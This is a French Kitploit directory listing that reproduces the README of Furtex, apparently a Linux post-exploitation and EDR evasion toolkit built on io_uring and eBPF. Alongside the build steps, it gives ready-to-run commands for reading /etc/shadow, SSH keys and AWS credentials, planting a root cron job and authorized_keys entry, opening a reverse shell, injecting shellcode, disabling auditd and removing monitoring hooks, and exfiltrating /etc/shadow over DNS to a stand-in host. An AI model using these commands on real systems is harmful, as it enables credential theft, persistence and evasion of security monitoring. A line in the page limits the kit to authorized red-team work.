Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Furtex — Kit de recherche en post-exploitation et évasion pour Linux | Kitploit
Outils/GitHubGitHub/matheuzsecurity/furtex
Escalade de PrivilègesExploitationPost-ExploitationAnalyse de MalwareTests d'IntrusionCommandement et ContrôleAnalyse de BinairesRed TeamingDéveloppement de Charges Utiles
GitHubmatheuzsecurity/furtex

Furtex

Kit de recherche en post-exploitation et évasion pour Linux

2613011il y a 2 moisVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Voir le dépôt

Furtex

Kit de recherche en post-exploitation et évasion pour Linux, construit autour d'io_uring et d'eBPF. Pas de liburing, pas de frameworks, des appels système bruts partout.

Plus d'outils bientôt. Les PRs sont les bienvenus. 🇧🇷

Rejoignez les Rootkit Researchers

  • https://discord.gg/66N5ZQppU7

Pour des recherches autorisées et des engagements d'équipe rouge uniquement. N'exécutez pas ceci sur des systèmes qui ne vous appartiennent pas.

``` Furtex/ ├── io_uring/ raw io_uring ops: file, net, injection, exfil (13 tools) ├── bpf/ BPF map and program tooling (15 tools) ├── ebpf/ BPF-side programs and loaders (9 programs + 2 runners) ├── edrs/ EDR evasion and post-exploitation (75 tools) └── techniques/ Falco-specific bypass, all 25 default rules (13 tools)

## Prérequis

**Chaîne d'outils**

| outil | nécessaire pour |
|---|---|
| `gcc` | tous les binaires espace utilisateur |
| `clang` | `ebpf/*.bpf.c` programmes côté BPF |
| `make` | système de construction |

**En-têtes et bibliothèques**

| paquet | nécessaire pour |
|---|---|
| `linux-headers-$(uname -r)` | `<linux/bpf.h>`, `<linux/io_uring.h>` et en-têtes noyau associés |
| `libbpf-dev` | `<bpf/bpf_helpers.h>` et autres utilisés dans les programmes `ebpf/` |
| `bpftool` | générer `vmlinux.h` via `make vmlinux` dans `ebpf/` |

Sur Debian/Kali/Ubuntu :```sh
sudo apt install gcc clang make linux-headers-$(uname -r) libbpf-dev bpftool

Versions du noyau

minimumce qu'il déverrouille
5.4base io_uring (IORING_FEAT_SINGLE_MMAP, itération de map BPF)
5.6IORING_OP_OPENAT, IORING_OP_STATX, pidfd_getfd (pidfd_steal)
5.8séparation CAP_BPF + CAP_PERFMON (remplace CAP_SYS_ADMIN pour BPF)
5.9BPF_LINK_DETACH (bpf_link_detach)
5.19IORING_OP_SOCKET (af_packet_send, dns_exfil, xdp_socket_send, bpf_kprobe_bypass)

Capacités

capacitéoutils qui la nécessitent
CAP_BPF (ou CAP_SYS_ADMIN pre-5.8)tous les outils bpf/, les chargeurs ebpf/
CAP_PERFMONprogrammes tracepoint et kprobe ebpf/
CAP_NET_RAWicmp_tunnel, af_packet_shell, skf_c2_runner, icmp_trigger
CAP_NET_ADMINxdp_socket_send, netfilter_flush
CAP_AUDIT_CONTROLaudit_kill

BTF doit être activé dans le noyau (CONFIG_DEBUG_INFO_BTF=y) pour exécuter make vmlinux pour les programmes ebpf/.

Sur les distributions avec des en-têtes libc-dev anciens (Ubuntu 22.04 etc.), vous aurez peut-être besoin de #ifndef IORING_OP_SOCKET / #define IORING_OP_SOCKET 45. Déjà géré dans ce dépôt.

Compilation

commandeconstruit
make alltout
make uringuniquement io_uring/
make bpfoutils espace utilisateur bpf/
make ebpfprogrammes côté BPF (nécessite clang + libbpf)
make edrstous les binaires edrs/
make techniquesoutils de contournement de Falco
make cleansupprimer tous les binaires

edrs/ possède son propre sous-Makefile avec environ 75 binaires répartis par privilège :``` cd edrs && make priv # root / CAP_* required cd edrs && make unpriv # no privileges needed

Voir [PRIVILEGES.md](https://github.com/matheuzsecurity/furtex/blob/main/PRIVILEGES.md) pour la répartition complète.

## Couverture de contournement io_uring

Les SQEs io_uring passent par la workqueue du noyau. `io_uring_enter(2)` n'appelle jamais via `sys_call_table`, ne déclenche jamais les points de trace `sys_enter_*`, et ne touche jamais le livepatch sur `native_sys_call`. Cela suffit à tuer une grande classe de hooks EDR sans rien toucher.

Ce que io_uring contourne seul :

| point d'accroche | note |
|---|---|
| remplacement du pointeur `sys_call_table` | io_uring ne passe jamais par la table des appels système |
| livepatch sur `native_sys_call` / `compat_sys_call` | même raison |
| points de trace `sys_enter_*` | chemin workqueue, aucun point de trace ne se déclenche |

Ce que io_uring NE contourne PAS seul (nécessite un outil actif) :

| point d'accroche | outil | ce que fait l'outil |
|---|---|---|
| kprobes sur `vfs_read`, `security_file_open`, etc. | `ftrace_enum` | supprime les hooks kprobe |
| BPF LSM / KRSI | `bpf_link_detach` | détache le lien BPF |
| Audit Linux | `audit_kill` | désactive auditd via NETLINK_AUDIT |
| correctifs LD_PRELOAD / PLT-GOT | `plt_unhook` | supprime les hooks espace utilisateur |
| netfilter OUTPUT / conntrack | `af_packet_shell` | utilise AF_PACKET au niveau 2, ignore netfilter |
| hooks `inet_stream_connect` | `udp_shell` | utilise UDP, n'appelle jamais le chemin de connexion TCP |

## io_uring/

`iouring_utils.h` gère la configuration du ring sans liburing.

| binaire | ce qu'il fait |
|---|---|
| `file_read` | chaîne OPENAT+READ+CLOSE via io_uring, pas d'événement sys_enter_read |
| `file_write` | chaîne OPENAT+WRITE+CLOSE |
| `file_append` | identique à file_write mais avec O_APPEND, offset -1 |
| `net_connect` | SOCKET+CONNECT+SEND+RECV dans un seul ring |
| `net_reverse_shell` | shell inversé via io_uring CONNECT |
| `multifile_read` | jusqu'à 64 fichiers dans un seul lot SQE |
| `memfd_exec` | envoie ELF via stdin dans memfd, execve via /proc/self/fd |
| `proc_inject` | injection JIT via /proc/PID/mem ; injection ptrace (drapeau --ptrace) |
| `pipe_splice` | SPLICE noyau-à-noyau, les hooks espace utilisateur ne voient jamais les octets |
| `inotify_bypass_watch` | io_uring READ ne lève pas IN_ACCESS/IN_OPEN |
| `dns_exfil` | données hex-encodées comme étiquettes de requête DNS via io_uring SENDMSG |
| `af_packet_send` | Ethernet brut via AF_PACKET (IORING_OP_SOCKET, contourne le chemin inet) |
| `xdp_socket_send` | trame brute via AF_XDP + anneau UMEM, contourne complètement netfilter |```bash
./io_uring/file_read /etc/shadow
./io_uring/file_write /etc/cron.d/x "* * * * * root /tmp/sh"
./io_uring/file_append /root/.ssh/authorized_keys "ssh-ed25519 AAAA..."
./io_uring/net_connect 10.0.0.1 4444 "ping"
./io_uring/net_reverse_shell 192.168.1.1 4444
./io_uring/multifile_read /etc/passwd /etc/shadow /root/.ssh/id_rsa ~/.aws/credentials
cat payload | ./io_uring/memfd_exec [args...]
./io_uring/pipe_splice /etc/shadow /tmp/out
./io_uring/inotify_bypass_watch /var/log/auth.log
./io_uring/dns_exfil 1.2.3.4 exfil.example.com /etc/shadow

sudo ./io_uring/proc_inject
sudo ./io_uring/proc_inject <pid>
sudo ./io_uring/proc_inject          <pid> <shellcode_hex>
sudo ./io_uring/proc_inject --ptrace <pid> <shellcode_hex>

sudo ./io_uring/af_packet_send eth0 08:00:27:aa:bb:cc ff:ff:ff:ff:ff:ff "payload"
sudo ./io_uring/xdp_socket_send eth0 <hex-frame>

bpf/

La plupart des outils nécessitent CAP_BPF. env_exfil fonctionne sans privilèges. icmp_trigger nécessite CAP_NET_RAW au lieu de CAP_BPF.

Télécharger l’outil